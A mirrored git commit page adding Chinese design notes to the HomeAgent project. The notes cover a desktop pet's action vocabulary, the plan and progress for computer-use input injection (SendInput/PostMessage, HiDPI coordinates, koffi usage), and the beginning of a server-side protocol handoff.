mirror of
https://gitcode.com/JianFeeeee/HomeAgent.git
synced 2026-10-15 12:15:16 +00:00
merge: GUI 独立光标 + computeruse 高级操作 + 打包修复（15 提交）
只有 2 处冲突，都取 main 侧： ① cmd/gui/package.json 的 test-live 两侧内容相同（都含 protocol-align.test.mjs），只是上下文位置不同。 ② cmd/waiter/device.go 的 scroll mag 声明 GUI 分支写 `if mag := dy; mag < 0`（init 语句作用域仅到该if）， 而后面还要用 mag ⇒ undefined: mag 编译错误。 main 侧已把它提到 if 外并注明原因，保留该写法。 自动合并的部分已核对内容一致： cmd/gui/agent-cursor.js / agent-inject.js（SendInput 16 处） computeruse / silent-start / loading-notify / endpoint-align 判据 cmd/waiter/device.go 的右侧点击 case "right"
This commit is contained in:
pi
229
DESKTOP-PET-NOTES.md
Normal file
229
DESKTOP-PET-NOTES.md
Normal file
@ -0,0 +1,229 @@
|
||||
# 桌宠动作系统：Coopanion 拆解与可借鉴点
|
||||
|
||||
> 来源：`Pal-AI-Lab/Coopanion`（本机 clone 于 `/tmp/coop`）
|
||||
> 相关包：`packages/cortico-world-desktop-pet/`
|
||||
>
|
||||
> 本文只记录**桌宠的动作/表情/互动系统**，以及本仓（HomeAgent GUI）可借鉴什么。
|
||||
> 输入注入层（SendInput）的对比见 `GUI-PLAN.md` 与下文第七节。
|
||||
|
||||
---
|
||||
|
||||
## 一、它是什么
|
||||
|
||||
一个 C 形小生物，站在屏幕底边（任务栏上沿）。**用户看得见它的身体，看不见 agent 的消息正文** ——
|
||||
想让用户看到内容，只能通过它冒气泡。
|
||||
|
||||
这句话是整个设计的关键：
|
||||
|
||||
> 桌宠身体是 agent 的**唯一可见输出通道**，而不是装饰。
|
||||
|
||||
这和我们 GUI 的定位不同：我们的 mascot 只是「agent 光标」，不承载信息。这是一个可以借的点。
|
||||
|
||||
---
|
||||
|
||||
## 二、核心工具（4 个）
|
||||
|
||||
| 工具 | 作用 | 关键设计 |
|
||||
|---|---|---|
|
||||
| `pet_say` | 头顶冒气泡说话 | 脚本里可夹带**动作标记**，边说边做 |
|
||||
| `pet_ask` | 冒提问气泡 + 最多 3 个选项 | **立即返回**，回答通过 `[回答]` 事件异步送达 |
|
||||
| `pet_walk_to` | 沿屏幕底边走到某处 | 目标是 0–1 比例或 `left/center/right/cursor` |
|
||||
| `pet_act` | 不说话，只做一串动作 | `sit`/`sleep` 会**持续**到下个动作 |
|
||||
|
||||
### 值得注意的三个设计
|
||||
|
||||
1. **`pet_ask` 是异步的**。agent 提完问不阻塞，用户答了再通过事件唤醒。
|
||||
避免 agent 干等，也允许用户先不答。
|
||||
实用细节：新问题会**替换**还没回答的旧问题；关掉不答也会回一个事件，
|
||||
agent 不会永远等下去。
|
||||
|
||||
2. **`pet_walk_to` 支持 `cursor`** —— 走到鼠标当前横向位置。
|
||||
这是个很自然的"到我这儿来"表达，不需要坐标。
|
||||
|
||||
3. **`sit`/`sleep` 是持续态**，其他动作是一次性。
|
||||
这让 agent 能表达"待机"与"我在休息"，而不只是瞬间动画。
|
||||
|
||||
---
|
||||
|
||||
## 三、动作词表（`src/script.ts` 的 `VOCAB`）
|
||||
|
||||
它把动作分成两类：**表情**（持续几秒后回到平常脸）与**动作**。
|
||||
|
||||
### 表情（expression，10 个）
|
||||
|
||||
| id | 中文 | 表现 |
|
||||
|---|---|---|
|
||||
| `neutral` | 平静 | 默认的脸 |
|
||||
| `happy` | 开心 / 高兴 | 眼睛弯成 ^ ^ |
|
||||
| `wink` | 眨眼 | 一只眼 ^ |
|
||||
| `love` | 喜欢 / 爱心 | 眼睛变心形，冒小心心 |
|
||||
| `shy` | 害羞 | 脸红，眼神躲开 |
|
||||
| `surprised` | 惊讶 / 吃惊 | 眼睛放大，头顶感叹号 |
|
||||
| `angry` | 生气 | 皱眉，头顶怒气符号，身体发抖 |
|
||||
| `sad` | 难过 / 伤心 | 八字眉，掉眼泪 |
|
||||
| `sleepy` | 犯困 / 困 | 眯眼打哈欠 |
|
||||
| `thinking` | 思考 / 想想 | 眼睛往上看，头顶冒圈 |
|
||||
|
||||
### 动作（motion，13 个）
|
||||
|
||||
| id | 中文 | 表现 |
|
||||
|---|---|---|
|
||||
| `stand` | 站起 / 站 | 站起来（坐着、睡着时） |
|
||||
| `jump` | 跳 / 跳起来 | 原地起跳 |
|
||||
| `hop` | 小跳 / 蹦 | 小小蹦一下 |
|
||||
| `look` | 张望 / 看看 | 左右张望 |
|
||||
| `turn` | 转身 | 转向另一边 |
|
||||
| `nod` | 点头 | 点两下头 |
|
||||
| `shake` | 摇头 | 摇头 |
|
||||
| `spin` | 转圈 | 原地转一圈 |
|
||||
| `sit` | 坐下 / 坐 | **坐下，持续到下个动作** |
|
||||
| `sleep` | 睡觉 / 睡 | **躺下睡觉，持续到下个动作** |
|
||||
| `dizzy` | 晕 / 转晕 | 头晕眼花几秒 |
|
||||
| `walk` | 走走 / 散步 | 随便走一段 |
|
||||
| `run` | 跑 / 跑起来 | 跑到屏幕另一头 |
|
||||
|
||||
### 词表设计的可借鉴处
|
||||
|
||||
- **每个词有多个中文别名**（`开心`/`高兴` 同一个 id）。LLM 输出自然语言时容错率更高。
|
||||
- **英文 id 与中文别名都进同一张 Map**（`BY_WORD`），不区分来源。
|
||||
- **未知词被丢弃而非报错**（`dropped` 数组收集但不中断）。
|
||||
对 LLM 输出的容错策略，值得学。
|
||||
- 词表通过 `pet.vocab` 变量**注入到 prompt**，让模型知道能做什么 ——
|
||||
而不是把 30 个动作硬编码进 tool schema 的 enum。
|
||||
|
||||
---
|
||||
|
||||
## 四、脚本标记（说明与动作混排）
|
||||
|
||||
`pet_say` 的 `script` 参数里可以夹带两种标记：
|
||||
|
||||
| 标记 | 作用 |
|
||||
|---|---|
|
||||
| `【词, 词】` | 先做这些动作，然后**换一个新气泡**继续说 |
|
||||
| `<词>` | 打字打到这里时做，**不换气泡** |
|
||||
|
||||
示例（源码里的原例）：
|
||||
|
||||
```
|
||||
【开心】今天也辛苦啦!<眨眼>要不要歇一会儿?
|
||||
```
|
||||
|
||||
这个设计解决了一个真实问题：**让文字与动作在时间轴上对齐**。
|
||||
`<眨眼>` 落在句子中间，让"眨眼"发生在念到那个字的时候，而不是整句之前。
|
||||
比"先做动作再说话"生动得多，实现成本却很低（解析时切分即可）。
|
||||
|
||||
相关实现：`parseScript` / `parseActions` / `estimateSeconds`（`src/script.ts`），
|
||||
`estimateSeconds` 用于让回执报告"大约显示多久"。
|
||||
|
||||
---
|
||||
|
||||
## 五、自主行为与互动
|
||||
|
||||
### 待机（没有指令时）
|
||||
|
||||
> 没收到指令时身体会自己眨眼、张望、散步、坐下打盹；你的指令会先执行。
|
||||
|
||||
注意最后半句：**agent 指令优先于自主行为**。自主行为是填充，不是竞争。
|
||||
|
||||
### 用户互动（事件形式回给 agent）
|
||||
|
||||
| 事件 | 含义 |
|
||||
|---|---|
|
||||
| `[语音] 用户:…` | 麦克风听到并转写的话（可能同音错字） |
|
||||
| `[打字] 用户:…` | 在桌宠上双击或点悬停按钮打的字 |
|
||||
| `[回答] …` | 对 `pet_ask` 的回答 |
|
||||
| `[互动] …` | 戳、摸、拎起来甩出去，以及落地摔晕 |
|
||||
|
||||
细节值得注意：
|
||||
|
||||
- 互动事件**不单独唤醒 agent**，"跟着下一批事件到，可能已经过去一会儿"
|
||||
—— 避免用户随手一戳就把模型叫起来烧钱。
|
||||
- `asleep` 状态下被摸，文案不同（`摸了摸睡着的你`）。
|
||||
状态影响事件语义，而不只是影响动画。
|
||||
|
||||
---
|
||||
|
||||
## 六、对本仓（HomeAgent GUI）的可借鉴点
|
||||
|
||||
### 6.1 可以借鉴（成本低、收益明确）
|
||||
|
||||
| 点 | 现状 | 建议 |
|
||||
|---|---|---|
|
||||
| **动作与文字时间轴对齐**（`【】`/`<>`） | 我们的 mascot 只有移动/点击两种状态 | 若要表达"思考/等待/出错"，可引入轻量标记 |
|
||||
| **姿态表达状态** | 「忙碌呼吸」一种 | 可区分：思考中(转圈)、等待用户(张望)、出错(晕) |
|
||||
| **持续态 vs 一次性**（`sit`/`sleep`） | 无持续态 | agent 空闲/被禁用时用持续态表达，而非静止 |
|
||||
| **LLM 输出容错**（未知词丢弃不报错） | 未处理 | 动作解析应容错，不能因一个错词整条失败 |
|
||||
| **待机自主行为** | 无 | 光标闲置时可轻微眨眼/呼吸，让"活着"可感知 |
|
||||
|
||||
### 6.2 不建议照搬
|
||||
|
||||
| 点 | 原因 |
|
||||
|---|---|
|
||||
| **桌宠承载全部对话输出** | 我们是桌面客户端，有完整聊天界面，不该退化到只能冒气泡 |
|
||||
| **语音输入（ASR）** | 与本期目标无关，且引入麦克风权限问题 |
|
||||
| **戳/摸/甩出去** | 需要模型 + 物理引擎，投入产出比低 |
|
||||
| **`pet.vocab` 注入 prompt** | 我们没把 mascot 交给 LLM 控，动作由 computeruse 隐式驱动 |
|
||||
|
||||
### 6.3 一个更重要的判断
|
||||
|
||||
**Coopanion 的桌宠和我们的"独立光标"解决的是不同问题：**
|
||||
|
||||
- 它的桌宠 = **输出通道**（让用户看见 agent 想说什么）
|
||||
- 我们的 mascot 光标 = **过程指示**（让用户看见 agent 在操作哪里）
|
||||
|
||||
两者不冲突，甚至可以合并 —— 让我们的 mascot 在 agent 思考时表现"思考"姿态，
|
||||
在执行 computeruse 时表现"移动/点击"。这正是 6.1 表格里那几条的价值所在。
|
||||
|
||||
---
|
||||
|
||||
## 七、接口层对比（顺带记录，详见 GUI-PLAN.md）
|
||||
|
||||
它和我们在**输入注入**上的关键分歧：
|
||||
|
||||
| | Coopanion | 本仓（HomeAgent GUI） |
|
||||
|---|---|---|
|
||||
| 注入 API | `SendInput` | `SendInput`（默认）/ `PostMessage`（可选） |
|
||||
| 能否操作 Chromium/游戏 | ✅ 能 | ✅ 能（sendinput 模式） |
|
||||
| 是否移动真实光标 | ✅ 会移动 | ✅ 会移动（sendinput）/ ❌ 不动（overlay） |
|
||||
| 用户操作时 | 等待空闲再注入 | 等待空闲再注入（**借鉴自它**） |
|
||||
| 自绘光标 | ❌ 没有 | ✅ 有（mascot + 点击脉冲） |
|
||||
|
||||
### 从它学到的关键一条
|
||||
|
||||
`GetLastInputInfo` 是**全局**的 —— agent 自己的 `SendInput` 也会被算作"用户输入"。
|
||||
若不排除自己的注入，`idleMs()` 每次注入后归零，于是**永远处于"用户正在操作"状态**，
|
||||
所有命令都被暂缓。
|
||||
|
||||
它的做法（我们已照此实现）是三重判定：
|
||||
|
||||
1. `ownTick` —— 自己最后一次注入的时刻，之后 40ms 内的输入忽略
|
||||
2. `ownCursor` —— 自己放下的光标位置，偏离 >2px 说明是用户动的
|
||||
3. 无符号差值 —— `GetTickCount` 每 2^32 ms 回绕，必须按无符号比较
|
||||
|
||||
这个坑我们实测踩到了（`deferMs:0` 仍被暂缓），教训已写进 `agent-inject.js` 注释。
|
||||
|
||||
---
|
||||
|
||||
## 八、其他独立印证
|
||||
|
||||
Coopanion 独立印证了我们上一轮的两个判断：
|
||||
|
||||
1. **坐标就是物理像素，不要换算** —— 它注释明写：
|
||||
> All coordinates are physical pixels of the primary display. The process declares
|
||||
> itself per-monitor DPI aware (v2) before anything else, so no API here returns scaled values.
|
||||
|
||||
我们曾错误地加了 `/scaleFactor`，已改回并在判据中钉住。
|
||||
|
||||
2. **必须显式声明 DPI 感知** —— 它显式调用 `SetProcessDpiAwarenessContext(-4)`，
|
||||
并注明 "before anything else"。我们是**依赖 Electron 默认值**，未显式设。
|
||||
虽然 Electron 默认已是 per-monitor aware，但显式声明更稳。**建议补上**（见待办）。
|
||||
|
||||
---
|
||||
|
||||
## 九、待办（由本文档派生）
|
||||
|
||||
- [ ] `main.js` 显式调用 `SetProcessDpiAwarenessContext(-4)`，不依赖 Electron 默认值
|
||||
- [ ] 修 `deferMs` 配置读取不生效的问题（实测 `deferMs:0` 仍走 3000ms 默认）
|
||||
- [ ] mascot 增加姿态：思考 / 等待 / 出错（参考第三节词表）
|
||||
- [ ] 动作解析容错：未知动作丢弃而非整条失败
|
||||
- [ ] （可选）mascot 待机自主行为：闲置时轻微眨眼/呼吸
|
||||
334
GUI-PLAN.md
Normal file
334
GUI-PLAN.md
Normal file
@ -0,0 +1,334 @@
|
||||
# GUI 改造计划与进度
|
||||
|
||||
> 本文件是 GUI（`cmd/gui`）当前改造的**单一事实来源**：做完了什么、为什么这么做、
|
||||
> 哪些结论是实测得到的、哪些还没做完。
|
||||
>
|
||||
> 相关文档：
|
||||
> - `cmd/gui/DESIGN-NOTES.md` —— 借鉴 PiDeck 的设计与实现
|
||||
> - `SERVER-HANDOFF.md` —— 需要服务端同步配合的部分
|
||||
> - 判据：`cmd/gui/*.test.mjs`，`npm test` 全绿为准（当前 127 条）
|
||||
|
||||
---
|
||||
|
||||
## 一、当前状态
|
||||
|
||||
分支：`feature/gui-starmap-pulse-vendor-align`（不合入 main）
|
||||
|
||||
最近提交：
|
||||
|
||||
| commit | 内容 |
|
||||
|---|---|
|
||||
| `02566f3` | 修启动期误判服务端未启动；keybd_event 类型名致组合键全废 |
|
||||
| `0d8b129` | computeruse 补高级操作（两端 9→18）；修 HiDPI 坐标；记录 PiDeck 借鉴 |
|
||||
| `3059c99` | 加载动画改三点式 + 新增系统通知 |
|
||||
|
||||
判据：`cd cmd/gui && npm test` —— **127 条全绿**（其中 `computeruse.test.mjs` 43 条）。
|
||||
|
||||
---
|
||||
|
||||
## 二、已完成
|
||||
|
||||
### 2.1 computeruse 能力面：9 → 18 个动作
|
||||
|
||||
此前 GUI 侧（`cmd/gui/main.js`）与 waiter 侧（`cmd/waiter/device.go`）都只有
|
||||
9 个基础动作，与业界 computer-use 的基本盘差距明显。
|
||||
|
||||
GUI 侧现支持 **18 个**（已用脚本从 `main.js` 的 `case "computeruse"` 块精确提取核对）：
|
||||
|
||||
```
|
||||
click doubleclick rightclick middleclick tripleclick
|
||||
move hover drag mousedown mouseup
|
||||
scroll keypress hotkey combo
|
||||
type wait sleep display
|
||||
```
|
||||
|
||||
waiter 侧（Linux）为 **20 个** —— 比 GUI 多 `middle`、`right` 两个
|
||||
「button 简写形式」，少 `physical` 相关处理；其余一致。
|
||||
|
||||
要点：
|
||||
|
||||
- **拖拽分步移动**（默认 12 步，上限 60）。一步到位会让 canvas 拖拽、列表排序、
|
||||
滑动条失效 —— 这类应用依赖中间 `mousemove` 事件。
|
||||
- **组合键归一化**（waiter 侧 `normKeySpec`）。旧实现把模型给的 key 字符串原样丢给
|
||||
`xdotool key`，于是 `"Ctrl+C"`、`"ctrl + c"`、`"CTRL-C"` **全部失效**。
|
||||
- **`type` 加 `--clearmodifiers`**（waiter 侧）。避免残留的 Ctrl/Alt 把后续输入
|
||||
变成快捷键。
|
||||
- **scroll 修正**（两端）。旧实现固定滚 `click 4/5`，忽略方向语义也不支持横向。
|
||||
|
||||
### 2.2 修 HiDPI 坐标错位 ⚠️ 重要，详见第五节
|
||||
|
||||
截图给模型的是**物理像素**，Win32 坐标 API 在 Electron 里也是物理像素，
|
||||
**不需要换算**。详见第五节的实测与踩坑记录。
|
||||
|
||||
### 2.3 修启动期误判「服务端未启动」
|
||||
|
||||
`isServerRunning()` 原硬编码 `http://localhost:8080/`。实测该部署下：
|
||||
|
||||
```
|
||||
localhost:8080 -> 000 连不上
|
||||
192.168.2.60:8080 -> 302 正常（homed 跑在 WSL 里）
|
||||
```
|
||||
|
||||
于是每次启动都：探测失败 → 误判服务没起 → 拉起 GUI 旁并不存在的 `homed.exe`
|
||||
→ 干等 8s 超时 → 打印 `homed failed to start within timeout`。
|
||||
该 ERR 曾累计出现数十次（实测 40+ 次，日志轮转后计数会变），
|
||||
且是 `gui.log` 里唯一的错误项。
|
||||
|
||||
改法：按 `connections.json` 里已配置的连接（当前优先）探测，命中即在线；
|
||||
服务可达时跳过 homed 自动拉起；无本地 homed 可执行文件时不再空等超时。
|
||||
|
||||
实测验证：修复后启动日志为 `server reachable, skip homed autostart`，该 ERR 消失。
|
||||
|
||||
> 这条很可能就是此前「聊天链路有问题」的根因 —— GUI 自以为服务端由自己托管，
|
||||
> 实际聊天依赖的是 `connections.json` 里的连接。
|
||||
|
||||
### 2.4 修 keybd_event 类型名致组合键全废
|
||||
|
||||
koffi 不认 Win32 头文件里的 `byte`：
|
||||
|
||||
```
|
||||
"void keybd_event(byte bVk, ...)" -> Error: Unknown or invalid type name 'byte'
|
||||
"void keybd_event(uint8 bVk, ...)" -> 正常
|
||||
```
|
||||
|
||||
原代码用的正是 `byte`，且整段包在**空 catch** 里，于是 `keybd_event` 恒为 null，
|
||||
所有组合键返回 `keybd_event unavailable`。
|
||||
|
||||
这个 bug 极难发现：单键 click/move/scroll 走 `mouse_event`，完全不受影响。
|
||||
现在签名解析失败会打日志，不再静默。
|
||||
|
||||
### 2.5 模式 A：agent 独立光标 + 后台注入（**代码已通，效果待验证**）
|
||||
|
||||
见第三节。
|
||||
|
||||
---
|
||||
|
||||
## 三、模式 A：agent 独立光标（进行中）
|
||||
|
||||
### 3.1 目标
|
||||
|
||||
现有 `computeruse` 走 `SetCursorPos` + `mouse_event`，**会抢走用户的真实鼠标**，
|
||||
agent 一干活用户就没法用电脑。
|
||||
|
||||
模式 A 的目标：GUI 自绘一个 agent 专属光标（mascot 形象），实际输入通过
|
||||
`PostMessage` 直接投递到目标窗口句柄，**用户真实鼠标全程不动**。
|
||||
|
||||
### 3.2 新增文件
|
||||
|
||||
| 文件 | 职责 |
|
||||
|---|---|
|
||||
| `cmd/gui/agent-cursor.js` | 透明置顶层窗口 + mascot 指针 + 移动/点击脉冲动画；记录上次命中的窗口句柄 |
|
||||
| `cmd/gui/agent-inject.js` | 两种注入路径：`SendInput`（默认）与 `PostMessage`（后台）；含用户活动感知 |
|
||||
|
||||
### 3.3 配置
|
||||
|
||||
`gui-prefs.json` → `deviceBridge.agentCursor`：
|
||||
|
||||
| 键 | 值 | 行为 |
|
||||
|---|---|---|
|
||||
| `mode` | `"sendinput"` | **默认**。`SendInput` 注入系统输入队列，可靠性高（Chromium/游戏都能操作）。代价：会移动真实光标，故先等用户停手 |
|
||||
| `mode` | `"overlay"` | `PostMessage` 直投窗口句柄。用户鼠标纹丝不动，但自绘界面常忽略合成消息 |
|
||||
| `mode` | `"real"` | 保留旧代码路径（兼容） |
|
||||
| `deferMs` | 数字 | 用户活动时最多等多久（默认 3000，上限 10000）。0 = 不等待 |
|
||||
|
||||
> 为什么默认改成 `sendinput`：用户要求「可靠 + 用户正在操作则暂缓」。
|
||||
> 参考 `Pal-AI-Lab/Coopanion`（见 `DESKTOP-PET-NOTES.md` 第七节）。
|
||||
>
|
||||
> ⚠ 实测发现：`GetLastInputInfo` 是**全局**的，agent 自己的 `SendInput`
|
||||
> 也会被算作「用户输入」，若不排除则**永远处于「用户正在操作」状态**。
|
||||
> 已按 Coopanion 的三重判定修正（ownTick / ownCursor / 无符号差值）。
|
||||
|
||||
### 3.4 已验证（端到端）
|
||||
|
||||
用假网关（自实现 WS 服务端）下发 computeruse 命令，GUI 执行并回执。
|
||||
两轮合计：
|
||||
|
||||
**overlay（PostMessage）路径**：8/8 有响应，错误处理正确 ——
|
||||
无窗口时报「WindowFromPoint 返回空」，而不是静默回退到真实鼠标。
|
||||
|
||||
**sendinput 路径**（当前默认）：8/8 有响应，回执形如
|
||||
`sendinput click @ (300,300)` / `sendinput typed 2 chars` /
|
||||
`sendinput drag (100,100) -> (400,300)`。
|
||||
|
||||
### 3.5 ⚠️ 未完成：真实点击效果未验证
|
||||
|
||||
当前执行环境**没有可供注入的可见目标窗口**
|
||||
（`WindowFromPoint` 对所有坐标返回 null，`GetCursorPos` 读回 0,0）。
|
||||
|
||||
**因此：「点击真的落到目标窗口上」这一步尚未被证明。** 需要在有交互桌面的
|
||||
会话里跑一个端到端测试：
|
||||
|
||||
> 打开记事本 → agent 点它 → 输入文字 → 截图回读验证
|
||||
|
||||
同时验证「`overlay` 模式下用户鼠标位置在全过程未变」。
|
||||
|
||||
### 3.6 设计取舍（明确的边界）
|
||||
|
||||
- **两种注入的适用范围不同**：
|
||||
- `sendinput`（默认）：注入系统输入队列，等价真实硬件事件。
|
||||
Chromium/Electron 自绘界面、多数游戏都能接收 —— **可靠**。
|
||||
代价：会移动用户真实光标，故先等用户停手（`deferMs`）。
|
||||
- `overlay`：`PostMessage` 直投窗口句柄，用户鼠标纹丝不动。
|
||||
但自绘界面常忽略合成消息 ⇒ 只能操作原生 Win32 程序。
|
||||
|
||||
> 本仓曾把「自绘界面点不动」写成「Windows 消息模型的硬限制」——
|
||||
> **那个说法是错的**，它只是 `PostMessage` 这条 API 的限制。
|
||||
> 用 `SendInput` 就不受此限（参考 Coopanion）。
|
||||
|
||||
- **不做静默降级**。无论哪种模式，失败即 `status=error` 并说明原因，
|
||||
不会自作主张换成另一种注入方式。
|
||||
- **`sendinput` 模式下用户正在操作会暂缓**（而不是硬抢）：
|
||||
轮询等到用户空闲，超时则跳过本次操作并报错。
|
||||
已在 `agent-inject.js` 中排除「自身注入被误判为用户操作」的陷阱。
|
||||
- **`overlay` 模式下键盘类动作依赖先前的鼠标操作**。
|
||||
`keypress`/`hotkey`/`type` 不带坐标，而该模式不移动真实光标，
|
||||
所以 `GetCursorPos` 拿到的是**用户自己**的光标位置；
|
||||
故记录「上次鼠标操作命中的 hwnd」，键盘动作投递到那里。从未点过则报错。
|
||||
|
||||
### 3.7 跨平台状态
|
||||
|
||||
| 平台 | 状态 |
|
||||
|---|---|
|
||||
| Windows | 已实现（sendinput 默认 / overlay 可选；真实效果待验证） |
|
||||
| Linux | waiter 侧仍是 `xdotool`，**会动真鼠标**。未做独立光标 |
|
||||
| macOS | 同上 |
|
||||
|
||||
---
|
||||
|
||||
## 四、待办
|
||||
|
||||
### 4.1 优先：修 `deferMs` 读取不生效
|
||||
|
||||
实测：`gui-prefs.json` 里 `agentCursor.deferMs = 0`，但命令仍按默认 3000ms
|
||||
暂缓（回执写「已等待 3000ms」）。`loadGuiPrefs()` 会重建对象且**不透传
|
||||
`agentCursor` 字段**，导致读取永远拿到默认值。
|
||||
|
||||
- [ ] `loadGuiPrefs()` 透传 `deviceBridge.agentCursor`
|
||||
- [ ] 判据：配置 `deferMs:0` 时不得进入暂缓路径
|
||||
|
||||
### 4.2 验证 sendinput 的真实效果
|
||||
|
||||
当前环境无可注入的可见目标窗口（`WindowFromPoint` 恒返回 null，
|
||||
`GetCursorPos` 读回 0,0），故「点击真的落到目标窗口上」尚未证明。
|
||||
|
||||
- [ ] 端到端测试：打开真实应用 → 点它 → 输入 → 截图回读
|
||||
- [ ] 断言：`overlay` 模式下全过程用户鼠标位置未变
|
||||
- [ ] 判据：固化进 `npm test`（需能在无桌面 CI 环境跳过）
|
||||
|
||||
### 4.3 服务端配合（详见 `SERVER-HANDOFF.md`）
|
||||
|
||||
- [ ] 放开 `device.go` 的 action 白名单（schema enum + switch default 双重限制）
|
||||
- [ ] 透传新参数 `tox`/`toy`/`steps`/`dx`/`ms`/`physical`
|
||||
- [ ] 统一 scroll 方向语义（服务端写「正=向下」，Windows 惯例是正=向上）
|
||||
- [ ] 把坐标约定写进注释（防重蹈 `/scale` 覆辙）
|
||||
|
||||
> ⚠ 不改白名单，则新增的 11 个动作**根本下发不到设备**。
|
||||
|
||||
### 4.4 设置页
|
||||
|
||||
- [ ] `agentCursor.mode` / `deferMs` 的 UI（目前只能手改 `gui-prefs.json`）
|
||||
|
||||
### 4.5 可选增强（详见 `DESKTOP-PET-NOTES.md` 第六、九节）
|
||||
|
||||
- [ ] `main.js` 显式调 `SetProcessDpiAwarenessContext(-4)`，不依赖 Electron 默认值
|
||||
- [ ] mascot 姿态：思考 / 等待 / 出错
|
||||
- [ ] 动作解析容错：未知动作丢弃而非整条失败
|
||||
- [ ] mascot 待机自主行为：闲置时轻微眨眼/呼吸
|
||||
- [ ] Linux 侧若也要「不抢鼠标」，需 Wayland + uinput 虚拟设备
|
||||
（X11 下做不到 —— XTEST 合成的是真实设备事件）
|
||||
|
||||
### 4.6 其它已定位但未修
|
||||
|
||||
- [ ] `overlay` 模式下键盘类动作「必须先点过」的限制可放宽：
|
||||
可改为「取当前前台窗口」作为兵底，而不是直接报错。
|
||||
- [ ] `real` 模式与 `sendinput` 模式代码重叠较多，可考虑合并；
|
||||
目前保留 `real` 仅为兼容旧路径，实际上与 `sendinput` 行为重复。
|
||||
- [ ] `p3.js` / `p4.js` 是本轮遗留的临时补丁脚本（未被跟踪），
|
||||
确认无价值后删除，避免占坑。
|
||||
|
||||
---
|
||||
|
||||
## 五、坐标空间：实测结论与踩坑记录 ⚠️
|
||||
|
||||
**结论：截图给模型的像素、Win32 坐标 API 的坐标，是同一个坐标系 —— 物理像素。
|
||||
不要换算。**
|
||||
|
||||
实测证据（Electron 主进程内，192 DPI / 200% 缩放屏）：
|
||||
|
||||
```
|
||||
Electron screen API (DIP) : 1260 x 840 scaleFactor=2
|
||||
GetSystemMetrics : 2520 x 1680
|
||||
SetCursorPos(200,200) → GetCursorPos 读回 (200,200) ← 恒等，不缩放
|
||||
```
|
||||
|
||||
原因是 Electron 主进程是 **per-monitor DPI-aware**，此感知下 Win32 坐标不做虚拟化。
|
||||
|
||||
### 踩坑：曾经加错的 `/scaleFactor` 换算
|
||||
|
||||
本仓曾在 `main.js` 加过：
|
||||
|
||||
```js
|
||||
absX = ox + rawX / scaleFactor // ← 错的
|
||||
```
|
||||
|
||||
理由是「SetCursorPos 期望 DIP」—— **那个前提不成立**，DIP 行为只出现在
|
||||
DPI-*unaware* 进程里。加了之后反而把原本正确的点击改坏：200% 缩放屏上
|
||||
点 (600,400) 会被送到 (400,267)，**越靠右下偏得越远**。
|
||||
|
||||
已改回 `physical ? rawX : rawX * scale`，并在 `computeruse.test.mjs` 加判据
|
||||
防止回退（检测 `/scale` 是否回来了）。
|
||||
|
||||
### 为什么会误判（重要）
|
||||
|
||||
**在普通 node 进程里测同一个函数，读到的是 1260×840**（虚拟化后的值），
|
||||
会让人以为 Win32 用 DIP。**必须在 Electron 内测** —— 同一份代码，
|
||||
不同进程的 DPI 感知状态不同，答案也不同。
|
||||
|
||||
同理，`python`/`go` 等非 DPI-aware 宿主里测同样不可作为依据。
|
||||
|
||||
---
|
||||
|
||||
## 六、端到端测试方法（可复用）
|
||||
|
||||
不依赖真实服务端，用自实现的假网关驱动 GUI：
|
||||
|
||||
1. 起一个最小 WS 服务端（自实现 HTTP `Upgrade` 握手 + 帧编解码）
|
||||
2. 改写 `gui-prefs.json` 指向它，并置 `deviceBridge.authorized = true`
|
||||
3. 启动 GUI，等 `hello` / `bind` 完成
|
||||
4. 下发 `{op:"cmd", cmd_type:"homeagent", command:"computeruse {...}"}`
|
||||
5. 读取 GUI 回的 `{op:"cmd_result", status, output, error}`
|
||||
|
||||
### 两个踩过的坑
|
||||
|
||||
- **服务端→客户端的帧不能加掩码。** RFC 6455 只要求客户端→服务端掩码。
|
||||
照抄 GUI 主进程（客户端方向）的 `sendDeviceFrame` 会导致 GUI 解不出。
|
||||
- **客户端→服务端的帧是掩码的**，解帧时必须先解掩码。
|
||||
|
||||
---
|
||||
|
||||
## 七、koffi 3.x 使用约定（踩坑记录）
|
||||
|
||||
| 事项 | 正确做法 | 错误做法 / 现象 |
|
||||
|---|---|---|
|
||||
| 类型名 | `uint8` / `int32_t` / `long` | `byte` → `Unknown or invalid type name` |
|
||||
| 指针参数 | 传 **Node `Buffer`** | 传普通 JS 对象 → **不写回**，读回仍是原值 |
|
||||
| 结构体 | `koffi.struct(name, {...})` 后传普通对象 | 重复 `koffi.struct("POINT")` → `Duplicate type name` |
|
||||
| 字符串 | `Buffer.from(s + "\0", "utf16le")` | `koffi.alloc(str)` 把 str 当**类型名** |
|
||||
|
||||
**指针参数必须用 Buffer** 这条尤其重要：`WindowFromPoint` 若用普通对象，
|
||||
会拿不到真实 hwnd ⇒ 点击落到错误窗口上。
|
||||
|
||||
跨进程/跨模块重复声明同名结构体会抛 `Duplicate type name`，需 try/catch 换名注册。
|
||||
|
||||
---
|
||||
|
||||
## 八、环境注意事项
|
||||
|
||||
- 本仓库文件多为 **CRLF**。用 Node 脚本打补丁时先 `replace(/\r\n/g, "\n")` 处理，
|
||||
写回时按原行尾还原。
|
||||
- `git status` 会把大量文件标成 `M`，但 `git diff --numstat` 显示 `0 0`
|
||||
—— 那是 CRLF 归一化噪声，不是真实改动。**提交前用 `--numstat` 甄别。**
|
||||
- 本机没有 Go 工具链（`go: command not found`），`cmd/waiter/` 的改动
|
||||
**未经过编译验证**，需在有 Go 环境的机器上 `go build ./cmd/waiter` 确认。
|
||||
- 本会话多数为无头/无交互桌面环境，`WindowFromPoint` / 真实光标相关行为
|
||||
**无法在此验证**，需在有桌面的会话实测。
|
||||
294
SERVER-HANDOFF.md
Normal file
294
SERVER-HANDOFF.md
Normal file
@ -0,0 +1,294 @@
|
||||
# 服务端交接：computeruse 协议对齐
|
||||
|
||||
> 面向服务端接手人。本文档描述 GUI 侧已完成的改动，以及**服务端必须同步修改**的部分。
|
||||
> 修改范围集中在 `internal/plugins/remotedevice/`（`device.go`）。
|
||||
> GUI 侧代码与判据见 `cmd/gui/`。
|
||||
|
||||
---
|
||||
|
||||
## 一、为什么需要这份文档
|
||||
|
||||
GUI 侧把 `computeruse` 从 9 个基础动作扩到 **18 个**，并新增了**模式 A（agent 独立光标 + 后台注入）**。
|
||||
但服务端 `device.go` 目前对 `action` 做了**两重硬限制**，导致新增能力根本下发不到设备：
|
||||
|
||||
1. **JSON Schema 的 `enum`**（`device.go:129`）—— 7 个值之外直接被 schema 校验拒绝
|
||||
2. **`switch` 的 `default` 分支**（`device.go:471`）—— 返回「不支持的操作类型」
|
||||
|
||||
